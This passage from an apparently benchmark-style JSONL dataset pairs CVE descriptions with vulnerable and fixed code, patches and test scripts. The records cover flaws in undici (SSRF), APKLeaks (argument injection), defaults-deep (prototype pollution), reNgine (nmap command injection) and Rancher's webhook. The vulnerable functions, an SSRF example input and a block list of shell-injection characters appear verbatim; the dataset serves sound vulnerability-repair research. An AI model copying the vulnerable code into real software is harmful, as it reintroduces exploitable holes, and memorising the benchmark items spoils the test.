%v\", addr, err)\n\t\treturn err\n\t}\n\n\texp.checkExpiration(time.Now(), extractChannel(request))\n\n\tif s.StepLogger.IsEnabledFor(zap.DebugLevel) {\n\t\tnodeName := commonNameFromContext(stream.Context())\n\t\ts.StepLogger.Debugf(\"Received message from %s(%s): %v\", nodeName, addr, requestAsString(request))\n\t}\n\n\tif submitReq := request.GetSubmitRequest(); submitReq != nil {\n\t\tnodeName := commonNameFromContext(stream.Context())\n\t\ts.Logger.Debugf(\"Received message from %s(%s): %v\", nodeName, addr, requestAsString(request))\n\t\treturn s.handleSubmit(submitReq, stream, addr)\n\t} else if consensusReq := request.GetConsensusRequest(); consensusReq != nil {\n\t\treturn s.Dispatcher.DispatchConsensus(stream.Context(), request.GetConsensusRequest())\n\t}\n\n\treturn errors.Errorf(\"message is neither a Submit nor a Consensus request\")\n}"}], "vul_patch": "--- a/orderer/common/cluster/service.go\n+++ b/orderer/common/cluster/service.go\n@@ -19,8 +19,9 @@\n \t\tnodeName := commonNameFromContext(stream.Context())\n \t\ts.Logger.Debugf(\"Received message from %s(%s): %v\", nodeName, addr, requestAsString(request))\n \t\treturn s.handleSubmit(submitReq, stream, addr)\n+\t} else if consensusReq := request.GetConsensusRequest(); consensusReq != nil {\n+\t\treturn s.Dispatcher.DispatchConsensus(stream.Context(), request.GetConsensusRequest())\n \t}\n \n-\t// Else, it's a consensus message.\n-\treturn s.Dispatcher.DispatchConsensus(stream.Context(), request.GetConsensusRequest())\n+\treturn errors.Errorf(\"message is neither a Submit nor a Consensus request\")\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-35949", "cve_description": "undici is an HTTP/1.1 client, written from scratch for Node.js.`undici` is vulnerable to SSRF (Server-side Request Forgery) when an application takes in **user input** into the `path/pathname` option of `undici.request`. If a user specifies a URL such as `http://127.0.0.1` or `//127.0.0.1` ```js const undici = require(\"undici\") undici.request({origin: \"http://example.com\", pathname: \"//127.0.0.1\"}) ``` Instead of processing the request as `http://example.org//127.0.0.1` (or `http://example.org/http://127.0.0.1` when `http://127.0.0.1 is used`), it actually processes the request as `http://127.0.0.1/` and sends it to `http://127.0.0.1`. If a developer passes in user input into `path` parameter of `undici.request`, it can result in an _SSRF_ as they will assume that the hostname cannot change, when in actual fact it can change because the specified path parameter is combined with the base URL. This issue was fixed in `undici@5.8.1`. The best workaround is to validate user input before passing it to the `undici.request` call.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/nodejs/undici", "patch_url": ["https://github.com/nodejs/undici/commit/124f7ebf705366b2e1844dff721928d270f87895"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_5_1", "commit": "aef314c", "file_path": "index.js", "start_line": 36, "end_line": 78, "snippet": "function makeDispatcher (fn) {\n  return (url, opts, handler) => {\n    if (typeof opts === 'function') {\n      handler = opts\n      opts = null\n    }\n\n    if (!url || (typeof url !== 'string' && typeof url !== 'object' && !(url instanceof URL))) {\n      throw new InvalidArgumentError('invalid url')\n    }\n\n    if (opts != null && typeof opts !== 'object') {\n      throw new InvalidArgumentError('invalid opts')\n    }\n\n    if (opts && opts.path != null) {\n      if (typeof opts.path !== 'string') {\n        throw new InvalidArgumentError('invalid opts.path')\n      }\n\n      url = new URL(opts.path, util.parseOrigin(url))\n    } else {\n      if (!opts) {\n        opts = typeof url === 'object' ? url : {}\n      }\n\n      url = util.parseURL(url)\n    }\n\n    const { agent, dispatcher = getGlobalDispatcher() } = opts\n\n    if (agent) {\n      throw new InvalidArgumentError('unsupported opts.agent. Did you mean opts.client?')\n    }\n\n    return fn.call(dispatcher, {\n      ...opts,\n      origin: url.origin,\n      path: url.search ? `${url.pathname}${url.search}` : url.pathname,\n      method: opts.method || (opts.body ? 'PUT' : 'GET')\n    }, handler)\n  }\n}"}, {"id": "vul_js_5_2", "commit": "aef314c", "file_path": "lib/core/util.js", "start_line": 74, "end_line": 122, "snippet": "function parseURL (url) {\n  if (typeof url === 'string') {\n    url = new URL(url)\n  }\n\n  if (!url || typeof url !== 'object') {\n    throw new InvalidArgumentError('invalid url')\n  }\n\n  if (url.port != null && url.port !== '' && !Number.isFinite(parseInt(url.port))) {\n    throw new InvalidArgumentError('invalid port')\n  }\n\n  if (url.path != null && typeof url.path !== 'string') {\n    throw new InvalidArgumentError('invalid path')\n  }\n\n  if (url.pathname != null && typeof url.pathname !== 'string') {\n    throw new InvalidArgumentError('invalid pathname')\n  }\n\n  if (url.hostname != null && typeof url.hostname !== 'string') {\n    throw new InvalidArgumentError('invalid hostname')\n  }\n\n  if (url.origin != null && typeof url.origin !== 'string') {\n    throw new InvalidArgumentError('invalid origin')\n  }\n\n  if (!/^https?:/.test(url.origin || url.protocol)) {\n    throw new InvalidArgumentError('invalid protocol')\n  }\n\n  if (!(url instanceof URL)) {\n    const port = url.port != null\n      ? url.port\n      : (url.protocol === 'https:' ? 443 : 80)\n    const origin = url.origin != null\n      ? url.origin\n      : `${url.protocol}//${url.hostname}:${port}`\n    const path = url.path != null\n      ? url.path\n      : `${url.pathname || ''}${url.search || ''}`\n\n    url = new URL(path, origin)\n  }\n\n  return url\n}"}], "fix_func": [{"id": "fix_js_5_1", "commit": "124f7ebf705366b2e1844dff721928d270f87895", "file_path": "index.js", "start_line": 36, "end_line": 83, "snippet": "function makeDispatcher (fn) {\n  return (url, opts, handler) => {\n    if (typeof opts === 'function') {\n      handler = opts\n      opts = null\n    }\n\n    if (!url || (typeof url !== 'string' && typeof url !== 'object' && !(url instanceof URL))) {\n      throw new InvalidArgumentError('invalid url')\n    }\n\n    if (opts != null && typeof opts !== 'object') {\n      throw new InvalidArgumentError('invalid opts')\n    }\n\n    if (opts && opts.path != null) {\n      if (typeof opts.path !== 'string') {\n        throw new InvalidArgumentError('invalid opts.path')\n      }\n\n      let path = opts.path\n      if (!opts.path.startsWith('/')) {\n        path = `/${path}`\n      }\n\n      url = new URL(util.parseOrigin(url).origin + path)\n    } else {\n      if (!opts) {\n        opts = typeof url === 'object' ? url : {}\n      }\n\n      url = util.parseURL(url)\n    }\n\n    const { agent, dispatcher = getGlobalDispatcher() } = opts\n\n    if (agent) {\n      throw new InvalidArgumentError('unsupported opts.agent. Did you mean opts.client?')\n    }\n\n    return fn.call(dispatcher, {\n      ...opts,\n      origin: url.origin,\n      path: url.search ? `${url.pathname}${url.search}` : url.pathname,\n      method: opts.method || (opts.body ? 'PUT' : 'GET')\n    }, handler)\n  }\n}"}, {"id": "fix_js_5_2", "commit": "124f7ebf705366b2e1844dff721928d270f87895", "file_path": "lib/core/util.js", "start_line": 74, "end_line": 133, "snippet": "function parseURL (url) {\n  if (typeof url === 'string') {\n    url = new URL(url)\n  }\n\n  if (!url || typeof url !== 'object') {\n    throw new InvalidArgumentError('invalid url')\n  }\n\n  if (url.port != null && url.port !== '' && !Number.isFinite(parseInt(url.port))) {\n    throw new InvalidArgumentError('invalid port')\n  }\n\n  if (url.path != null && typeof url.path !== 'string') {\n    throw new InvalidArgumentError('invalid path')\n  }\n\n  if (url.pathname != null && typeof url.pathname !== 'string') {\n    throw new InvalidArgumentError('invalid pathname')\n  }\n\n  if (url.hostname != null && typeof url.hostname !== 'string') {\n    throw new InvalidArgumentError('invalid hostname')\n  }\n\n  if (url.origin != null && typeof url.origin !== 'string') {\n    throw new InvalidArgumentError('invalid origin')\n  }\n\n  if (!/^https?:/.test(url.origin || url.protocol)) {\n    throw new InvalidArgumentError('invalid protocol')\n  }\n\n  if (!(url instanceof URL)) {\n    const port = url.port != null\n      ? url.port\n      : (url.protocol === 'https:' ? 443 : 80)\n    let origin = url.origin != null\n      ? url.origin\n      : `${url.protocol}//${url.hostname}:${port}`\n    let path = url.path != null\n      ? url.path\n      : `${url.pathname || ''}${url.search || ''}`\n\n    if (origin.endsWith('/')) {\n      origin = origin.substring(0, origin.length - 1)\n    }\n\n    if (path && !path.startsWith('/')) {\n      path = `/${path}`\n    }\n    // new URL(path, origin) is unsafe when `path` contains an absolute URL\n    // From https://developer.mozilla.org/en-US/docs/Web/API/URL/URL:\n    // If first parameter is a relative URL, second param is required, and will be used as the base URL.\n    // If first parameter is an absolute URL, a given second param will be ignored.\n    url = new URL(origin + path)\n  }\n\n  return url\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -18,7 +18,12 @@\n         throw new InvalidArgumentError('invalid opts.path')\n       }\n \n-      url = new URL(opts.path, util.parseOrigin(url))\n+      let path = opts.path\n+      if (!opts.path.startsWith('/')) {\n+        path = `/${path}`\n+      }\n+\n+      url = new URL(util.parseOrigin(url).origin + path)\n     } else {\n       if (!opts) {\n         opts = typeof url === 'object' ? url : {}\n\n--- a/lib/core/util.js\n+++ b/lib/core/util.js\n@@ -35,14 +35,25 @@\n     const port = url.port != null\n       ? url.port\n       : (url.protocol === 'https:' ? 443 : 80)\n-    const origin = url.origin != null\n+    let origin = url.origin != null\n       ? url.origin\n       : `${url.protocol}//${url.hostname}:${port}`\n-    const path = url.path != null\n+    let path = url.path != null\n       ? url.path\n       : `${url.pathname || ''}${url.search || ''}`\n \n-    url = new URL(path, origin)\n+    if (origin.endsWith('/')) {\n+      origin = origin.substring(0, origin.length - 1)\n+    }\n+\n+    if (path && !path.startsWith('/')) {\n+      path = `/${path}`\n+    }\n+    // new URL(path, origin) is unsafe when `path` contains an absolute URL\n+    // From https://developer.mozilla.org/en-US/docs/Web/API/URL/URL:\n+    // If first parameter is a relative URL, second param is required, and will be used as the base URL.\n+    // If first parameter is an absolute URL, a given second param will be ignored.\n+    url = new URL(origin + path)\n   }\n \n   return url\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-35949:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/undici\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha ./test/request.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-35949:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/undici\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha ./test/request*.js"}
{"cve_id": "CVE-2021-21386", "cve_description": "APKLeaks is an open-source project for scanning APK file for URIs, endpoints & secrets. APKLeaks prior to v2.0.3 allows remote attackers to execute arbitrary OS commands via package name inside application manifest. An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior through malicious package name. The problem is fixed in version v2.0.6-dev and above.", "cwe_info": {"CWE-88": {"name": "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')", "description": "The product constructs a string for a command to be executed by a separate component\nin another control sphere, but it does not properly delimit the\nintended arguments, options, or switches within that command string."}}, "repo": "https://github.com/dwisiswant0/apkleaks", "patch_url": ["https://github.com/dwisiswant0/apkleaks/commit/a966e781499ff6fd4eea66876d7532301b13a382"], "programing_language": "Python", "vul_func": [{"id": "vul_py_294_1", "commit": "8577b7a", "file_path": "apkleaks/apkleaks.py", "start_line": 78, "end_line": 89, "snippet": "\tdef decompile(self):\n\t\tself.writeln(\"** Decompiling APK...\", clr.OKBLUE)\n\t\twith ZipFile(self.file) as zipped:\n\t\t\ttry:\n\t\t\t\tdex = self.tempdir + \"/\" + self.apk.package + \".dex\"\n\t\t\t\twith open(dex, \"wb\") as classes:\n\t\t\t\t\tclasses.write(zipped.read(\"classes.dex\"))\n\t\t\texcept Exception as e:\n\t\t\t\tsys.exit(self.writeln(str(e), clr.WARNING))\n\t\tdec = \"%s %s -d %s --deobf\" % (self.jadx, dex, self.tempdir)\n\t\tos.system(dec)\n\t\treturn self.tempdir"}], "fix_func": [{"id": "fix_py_294_1", "commit": "a966e781499ff6fd4eea66876d7532301b13a382", "file_path": "apkleaks/apkleaks.py", "start_line": 79, "end_line": 91, "snippet": "\tdef decompile(self):\n\t\tself.writeln(\"** Decompiling APK...\", clr.OKBLUE)\n\t\twith ZipFile(self.file) as zipped:\n\t\t\ttry:\n\t\t\t\tdex = self.tempdir + \"/\" + self.apk.package + \".dex\"\n\t\t\t\twith open(dex, \"wb\") as classes:\n\t\t\t\t\tclasses.write(zipped.read(\"classes.dex\"))\n\t\t\texcept Exception as e:\n\t\t\t\tsys.exit(self.writeln(str(e), clr.WARNING))\n\t\targs = [self.jadx, dex, \"-d\", self.tempdir, \"--deobf\"]\n\t\tcomm = \"%s\" % (\" \".join(quote(arg) for arg in args))\n\t\tos.system(comm)\n\t\treturn self.tempdir"}], "vul_patch": "--- a/apkleaks/apkleaks.py\n+++ b/apkleaks/apkleaks.py\n@@ -7,6 +7,7 @@\n \t\t\t\t\tclasses.write(zipped.read(\"classes.dex\"))\n \t\t\texcept Exception as e:\n \t\t\t\tsys.exit(self.writeln(str(e), clr.WARNING))\n-\t\tdec = \"%s %s -d %s --deobf\" % (self.jadx, dex, self.tempdir)\n-\t\tos.system(dec)\n+\t\targs = [self.jadx, dex, \"-d\", self.tempdir, \"--deobf\"]\n+\t\tcomm = \"%s\" % (\" \".join(quote(arg) for arg in args))\n+\t\tos.system(comm)\n \t\treturn self.tempdir\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3723", "cve_description": "defaults-deep node module before 0.2.4 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability, which allows a malicious user to modify the prototype of \"Object\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/jonschlinkert/defaults-deep", "patch_url": ["https://github.com/jonschlinkert/defaults-deep/commit/c873f341327ad885ff4d0f23b3d3bca31b0343e5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_197_1", "commit": "aef804b", "file_path": "index.js", "start_line": 17, "end_line": 27, "snippet": "  function copy(target, current) {\n    lazy.forOwn(current, function (value, key) {\n      var val = target[key];\n      // add the missing property, or allow a null property to be updated\n      if (val == null) {\n        target[key] = value;\n      } else if (lazy.isObject(val) && lazy.isObject(value)) {\n        defaultsDeep(val, value);\n      }\n    });\n  }"}], "fix_func": [{"id": "fix_js_197_1", "commit": "c873f34", "file_path": "index.js", "start_line": 17, "end_line": 31, "snippet": "  function copy(target, current) {\n    lazy.forOwn(current, function (value, key) {\n      if (key === '__proto__') {\n        return;\n      }\n\n      var val = target[key];\n      // add the missing property, or allow a null property to be updated\n      if (val == null) {\n        target[key] = value;\n      } else if (lazy.isObject(val) && lazy.isObject(value)) {\n        defaultsDeep(val, value);\n      }\n    });\n  }"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,5 +1,9 @@\n   function copy(target, current) {\n     lazy.forOwn(current, function (value, key) {\n+      if (key === '__proto__') {\n+        return;\n+      }\n+\n       var val = target[key];\n       // add the missing property, or allow a null property to be updated\n       if (val == null) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-24962", "cve_description": "reNgine is an automated reconnaissance framework for web applications. In affected versions a user can inject commands via the nmap_cmd parameters. This issue has been addressed in commit `c28e5c8d` and is expected in the next versioned release. Users are advised to filter user input and monitor the project for a new release.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/yogeshojha/rengine", "patch_url": ["https://github.com/yogeshojha/rengine/commit/c28e5c8d304478a787811580b4d80b330920ace4"], "programing_language": "Python", "vul_func": [{"id": "vul_py_326_1", "commit": "a658b85", "file_path": "web/reNgine/common_func.py", "start_line": 907, "end_line": 936, "snippet": "def get_nmap_cmd(\n\t\tinput_file,\n\t\tcmd=None,\n\t\thost=None,\n\t\tports=None,\n\t\toutput_file=None,\n\t\tscript=None,\n\t\tscript_args=None,\n\t\tmax_rate=None,\n\t\tservice_detection=True,\n\t\tflags=[]):\n\tif not cmd:\n\t\tcmd = 'nmap'\n\n\toptions = {\n\t\t\"-sV\": service_detection,\n\t\t\"-p\": ports,\n\t\t\"--script\": script,\n\t\t\"--script-args\": script_args,\n\t\t\"--max-rate\": max_rate,\n\t\t\"-oX\": output_file\n\t}\n\tcmd = _build_cmd(cmd, options, flags)\n\n\tif not input_file:\n\t\tcmd += f\" {host}\" if host else \"\"\n\telse:\n\t\tcmd += f\" -iL {input_file}\"\n\n\treturn cmd"}, {"id": "vul_py_326_2", "commit": "a658b85", "file_path": "web/reNgine/tasks.py", "start_line": 1481, "end_line": 1562, "snippet": "def nmap(\n\t\tself,\n\t\tcmd=None,\n\t\tports=[],\n\t\thost=None,\n\t\tinput_file=None,\n\t\tscript=None,\n\t\tscript_args=None,\n\t\tmax_rate=None,\n\t\tctx={},\n\t\tdescription=None):\n\t\"\"\"Run nmap on a host.\n\n\tArgs:\n\t\tcmd (str, optional): Existing nmap command to complete.\n\t\tports (list, optional): List of ports to scan.\n\t\thost (str, optional): Host to scan.\n\t\tinput_file (str, optional): Input hosts file.\n\t\tscript (str, optional): NSE script to run.\n\t\tscript_args (str, optional): NSE script args.\n\t\tmax_rate (int): Max rate.\n\t\tdescription (str, optional): Task description shown in UI.\n\t\"\"\"\n\tnotif = Notification.objects.first()\n\tports_str = ','.join(str(port) for port in ports)\n\tself.filename = self.filename.replace('.txt', '.xml')\n\tfilename_vulns = self.filename.replace('.xml', '_vulns.json')\n\toutput_file = self.output_path\n\toutput_file_xml = f'{self.results_dir}/{host}_{self.filename}'\n\tvulns_file = f'{self.results_dir}/{host}_{filename_vulns}'\n\tlogger.warning(f'Running nmap on {host}:{ports}')\n\n\t# Build cmd\n\tnmap_cmd = get_nmap_cmd(\n\t\tcmd=cmd,\n\t\tports=ports_str,\n\t\tscript=script,\n\t\tscript_args=script_args,\n\t\tmax_rate=max_rate,\n\t\thost=host,\n\t\tinput_file=input_file,\n\t\toutput_file=output_file_xml)\n\n\t# Run cmd\n\trun_command(\n\t\tnmap_cmd,\n\t\tshell=True,\n\t\thistory_file=self.history_file,\n\t\tscan_id=self.scan_id,\n\t\tactivity_id=self.activity_id)\n\n\t# Get nmap XML results and convert to JSON\n\tvulns = parse_nmap_results(output_file_xml, output_file)\n\twith open(vulns_file, 'w') as f:\n\t\tjson.dump(vulns, f, indent=4)\n\n\t# Save vulnerabilities found by nmap\n\tvulns_str = ''\n\tfor vuln_data in vulns:\n\t\t# URL is not necessarily an HTTP URL when running nmap (can be any\n\t\t# other vulnerable protocols). Look for existing endpoint and use its\n\t\t# URL as vulnerability.http_url if it exists.\n\t\turl = vuln_data['http_url']\n\t\tendpoint = EndPoint.objects.filter(http_url__contains=url).first()\n\t\tif endpoint:\n\t\t\tvuln_data['http_url'] = endpoint.http_url\n\t\tvuln, created = save_vulnerability(\n\t\t\ttarget_domain=self.domain,\n\t\t\tsubdomain=self.subdomain,\n\t\t\tscan_history=self.scan,\n\t\t\tsubscan=self.subscan,\n\t\t\tendpoint=endpoint,\n\t\t\t**vuln_data)\n\t\tvulns_str += f'\\u2022 {str(vuln)}\\n'\n\t\tif created:\n\t\t\tlogger.warning(str(vuln))\n\n\t# Send only 1 notif for all vulns to reduce number of notifs\n\tif notif and notif.send_vuln_notif and vulns_str:\n\t\tlogger.warning(vulns_str)\n\t\tself.notify(fields={'CVEs': vulns_str})\n\treturn vulns"}], "fix_func": [{"id": "fix_py_326_1", "commit": "c28e5c8d304478a787811580b4d80b330920ace4", "file_path": "web/reNgine/common_func.py", "start_line": 907, "end_line": 941, "snippet": "def get_nmap_cmd(\n\t\tinput_file,\n\t\tcmd=None,\n\t\thost=None,\n\t\tports=None,\n\t\toutput_file=None,\n\t\tscript=None,\n\t\tscript_args=None,\n\t\tmax_rate=None,\n\t\tservice_detection=True,\n\t\tflags=[]):\n\tif not cmd:\n\t\tcmd = 'nmap'\n\n\toptions = {\n\t\t\"-sV\": service_detection,\n\t\t\"-p\": ports,\n\t\t\"--script\": script,\n\t\t\"--script-args\": script_args,\n\t\t\"--max-rate\": max_rate,\n\t\t\"-oX\": output_file\n\t}\n\tcmd = _build_cmd(cmd, options, flags)\n\n\tis_nmap_valid = is_valid_nmap_command(cmd)\n\tif not is_nmap_valid:\n\t\tlogger.error(f'Invalid nmap command or potentially dangerous: {cmd}')\n\t\treturn None\n\n\tif not input_file:\n\t\tcmd += f\" {host}\" if host else \"\"\n\telse:\n\t\tcmd += f\" -iL {input_file}\"\n\n\treturn cmd"}, {"id": "fix_py_326_2", "commit": "c28e5c8d304478a787811580b4d80b330920ace4", "file_path": "web/reNgine/tasks.py", "start_line": 1481, "end_line": 1566, "snippet": "def nmap(\n\t\tself,\n\t\tcmd=None,\n\t\tports=[],\n\t\thost=None,\n\t\tinput_file=None,\n\t\tscript=None,\n\t\tscript_args=None,\n\t\tmax_rate=None,\n\t\tctx={},\n\t\tdescription=None):\n\t\"\"\"Run nmap on a host.\n\n\tArgs:\n\t\tcmd (str, optional): Existing nmap command to complete.\n\t\tports (list, optional): List of ports to scan.\n\t\thost (str, optional): Host to scan.\n\t\tinput_file (str, optional): Input hosts file.\n\t\tscript (str, optional): NSE script to run.\n\t\tscript_args (str, optional): NSE script args.\n\t\tmax_rate (int): Max rate.\n\t\tdescription (str, optional): Task description shown in UI.\n\t\"\"\"\n\tnotif = Notification.objects.first()\n\tports_str = ','.join(str(port) for port in ports)\n\tself.filename = self.filename.replace('.txt', '.xml')\n\tfilename_vulns = self.filename.replace('.xml', '_vulns.json')\n\toutput_file = self.output_path\n\toutput_file_xml = f'{self.results_dir}/{host}_{self.filename}'\n\tvulns_file = f'{self.results_dir}/{host}_{filename_vulns}'\n\tlogger.warning(f'Running nmap on {host}:{ports}')\n\n\t# Build cmd\n\tnmap_cmd = get_nmap_cmd(\n\t\tcmd=cmd,\n\t\tports=ports_str,\n\t\tscript=script,\n\t\tscript_args=script_args,\n\t\tmax_rate=max_rate,\n\t\thost=host,\n\t\tinput_file=input_file,\n\t\toutput_file=output_file_xml)\n\t\n\tif not nmap_cmd:\n\t\tlogger.error('Could not build nmap command')\n\t\treturn\n\n\t# Run cmd\n\trun_command(\n\t\tnmap_cmd,\n\t\tshell=True,\n\t\thistory_file=self.history_file,\n\t\tscan_id=self.scan_id,\n\t\tactivity_id=self.activity_id)\n\n\t# Get nmap XML results and convert to JSON\n\tvulns = parse_nmap_results(output_file_xml, output_file)\n\twith open(vulns_file, 'w') as f:\n\t\tjson.dump(vulns, f, indent=4)\n\n\t# Save vulnerabilities found by nmap\n\tvulns_str = ''\n\tfor vuln_data in vulns:\n\t\t# URL is not necessarily an HTTP URL when running nmap (can be any\n\t\t# other vulnerable protocols). Look for existing endpoint and use its\n\t\t# URL as vulnerability.http_url if it exists.\n\t\turl = vuln_data['http_url']\n\t\tendpoint = EndPoint.objects.filter(http_url__contains=url).first()\n\t\tif endpoint:\n\t\t\tvuln_data['http_url'] = endpoint.http_url\n\t\tvuln, created = save_vulnerability(\n\t\t\ttarget_domain=self.domain,\n\t\t\tsubdomain=self.subdomain,\n\t\t\tscan_history=self.scan,\n\t\t\tsubscan=self.subscan,\n\t\t\tendpoint=endpoint,\n\t\t\t**vuln_data)\n\t\tvulns_str += f'\\u2022 {str(vuln)}\\n'\n\t\tif created:\n\t\t\tlogger.warning(str(vuln))\n\n\t# Send only 1 notif for all vulns to reduce number of notifs\n\tif notif and notif.send_vuln_notif and vulns_str:\n\t\tlogger.warning(vulns_str)\n\t\tself.notify(fields={'CVEs': vulns_str})\n\treturn vulns"}, {"id": "fix_py_326_3", "commit": "c28e5c8d304478a787811580b4d80b330920ace4", "file_path": "web/reNgine/common_func.py", "start_line": 1656, "end_line": 1693, "snippet": "def is_valid_nmap_command(cmd):\n\t\"\"\"\n\t\tCheck if the nmap command is valid or not\n\t\tThis is to check the nmap command before executing it so as to avoid\n\t\tcommand injection attacks\n\t\tArgs:\n\t\t\tcmd: str: nmap command\n\t\tReturns:\n\t\t\tbool: True if valid, False otherwise\n\n\t\tAllowing user input in nmap command is by design\n\t\tas user can provide custom nmap command to run\n\t\tbut we need to make sure that the command is safe\n\t\tand doesn't contain any malicious commands\n\t\tWe do this by checking if the command starts with nmap\n\t\tand doesn't contain any dangerous characters, in the most basic form\n\t\"\"\"\n\t# if this is not a valid command nmap command at all, dont even run it\n\tif not cmd.strip().startswith('nmap'):\n\t\treturn False\n\t\n\t# check for dangerous chars\n\tdangerous_chars = {';', '&', '|', '>', '<', '`', '$', '(', ')', '#', '\\\\'}\n\tif any(char in cmd for char in dangerous_chars):\n\t\treturn False\n\t\t\n\t# but we also need to check for flags and options, for example - and -- are allowed\n\tparts = cmd.split()\n\tfor part in parts[1:]: # ignoring nmap the first part of command\n\t\tif part.startswith('-') or part.startswith('--'):\n\t\t\tcontinue\n\t\t\n\t\t# check for valid characters, . - etc are allowed in valid nmap command\n\t\tif all(c.isalnum() or c in '.,/-_' for c in part):\n\t\t\tcontinue\n\t\treturn False\n\t\t\n\treturn True"}], "vul_patch": "--- a/web/reNgine/common_func.py\n+++ b/web/reNgine/common_func.py\n@@ -22,6 +22,11 @@\n \t}\n \tcmd = _build_cmd(cmd, options, flags)\n \n+\tis_nmap_valid = is_valid_nmap_command(cmd)\n+\tif not is_nmap_valid:\n+\t\tlogger.error(f'Invalid nmap command or potentially dangerous: {cmd}')\n+\t\treturn None\n+\n \tif not input_file:\n \t\tcmd += f\" {host}\" if host else \"\"\n \telse:\n\n--- a/web/reNgine/tasks.py\n+++ b/web/reNgine/tasks.py\n@@ -40,6 +40,10 @@\n \t\thost=host,\n \t\tinput_file=input_file,\n \t\toutput_file=output_file_xml)\n+\t\n+\tif not nmap_cmd:\n+\t\tlogger.error('Could not build nmap command')\n+\t\treturn\n \n \t# Run cmd\n \trun_command(\n\n--- /dev/null\n+++ b/web/reNgine/tasks.py\n@@ -0,0 +1,38 @@\n+def is_valid_nmap_command(cmd):\n+\t\"\"\"\n+\t\tCheck if the nmap command is valid or not\n+\t\tThis is to check the nmap command before executing it so as to avoid\n+\t\tcommand injection attacks\n+\t\tArgs:\n+\t\t\tcmd: str: nmap command\n+\t\tReturns:\n+\t\t\tbool: True if valid, False otherwise\n+\n+\t\tAllowing user input in nmap command is by design\n+\t\tas user can provide custom nmap command to run\n+\t\tbut we need to make sure that the command is safe\n+\t\tand doesn't contain any malicious commands\n+\t\tWe do this by checking if the command starts with nmap\n+\t\tand doesn't contain any dangerous characters, in the most basic form\n+\t\"\"\"\n+\t# if this is not a valid command nmap command at all, dont even run it\n+\tif not cmd.strip().startswith('nmap'):\n+\t\treturn False\n+\t\n+\t# check for dangerous chars\n+\tdangerous_chars = {';', '&', '|', '>', '<', '`', '$', '(', ')', '#', '\\\\'}\n+\tif any(char in cmd for char in dangerous_chars):\n+\t\treturn False\n+\t\t\n+\t# but we also need to check for flags and options, for example - and -- are allowed\n+\tparts = cmd.split()\n+\tfor part in parts[1:]: # ignoring nmap the first part of command\n+\t\tif part.startswith('-') or part.startswith('--'):\n+\t\t\tcontinue\n+\t\t\n+\t\t# check for valid characters, . - etc are allowed in valid nmap command\n+\t\tif all(c.isalnum() or c in '.,/-_' for c in part):\n+\t\t\tcontinue\n+\t\treturn False\n+\t\t\n+\treturn True\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-22651", "cve_description": "Improper Privilege Management vulnerability in SUSE Rancher allows Privilege Escalation. A failure in the update logic of Rancher's admission Webhook may lead to\n the misconfiguration of the Webhook. This component enforces validation\n rules and security checks before resources are admitted into the \nKubernetes cluster.\nThe issue only affects users that upgrade from 2.6.x or 2.7.x to 2.7.2. Users that did a fresh install of 2.7.2 (and did not follow an upgrade path) are not affected.\n\n", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/rancher/webhook", "patch_url": ["https://github.com/rancher/webhook/commit/a4a498613b43a3ee93c5ab06742a3bc8adace45d", "https://github.com/rancher/rancher/commit/44e8c5da013ca377545a0ff46cb8d418bd1b4747"], "programing_language": "Go", "vul_func": [{"id": "vul_go_188_1", "commit": "ad1d2b8", "file_path": "pkg/server/server.go", "start_line": 117, "end_line": 161, "snippet": "func listenAndServe(ctx context.Context, clients *clients.Clients, validators []admission.ValidatingAdmissionHandler, mutators []admission.MutatingAdmissionHandler) (rErr error) {\n\trouter := mux.NewRouter()\n\tapplyErrChecker := health.NewErrorChecker(\"Config Applied\")\n\thealth.RegisterHealthCheckers(router, applyErrChecker)\n\n\tlogrus.Debug(\"Creating Webhook routes\")\n\tfor _, webhook := range validators {\n\t\troute := router.HandleFunc(admission.Path(validationPath, webhook), admission.NewHandlerFunc(webhook))\n\t\tpath, _ := route.GetPathTemplate()\n\t\tlogrus.Debugf(\"creating route: %s\", path)\n\t}\n\tfor _, webhook := range mutators {\n\t\troute := router.HandleFunc(admission.Path(mutationPath, webhook), admission.NewHandlerFunc(webhook))\n\t\tpath, _ := route.GetPathTemplate()\n\t\tlogrus.Debugf(\"creating route: %s\", path)\n\t}\n\n\tapply := clients.Apply.WithDynamicLookup()\n\n\tclients.Core.Secret().OnChange(ctx, \"secrets\", updateWebhookConfigs(apply, applyErrChecker, validators, mutators))\n\n\tdefer func() {\n\t\tif rErr != nil {\n\t\t\treturn\n\t\t}\n\t\trErr = clients.Start(ctx)\n\t}()\n\n\ttlsConfig := 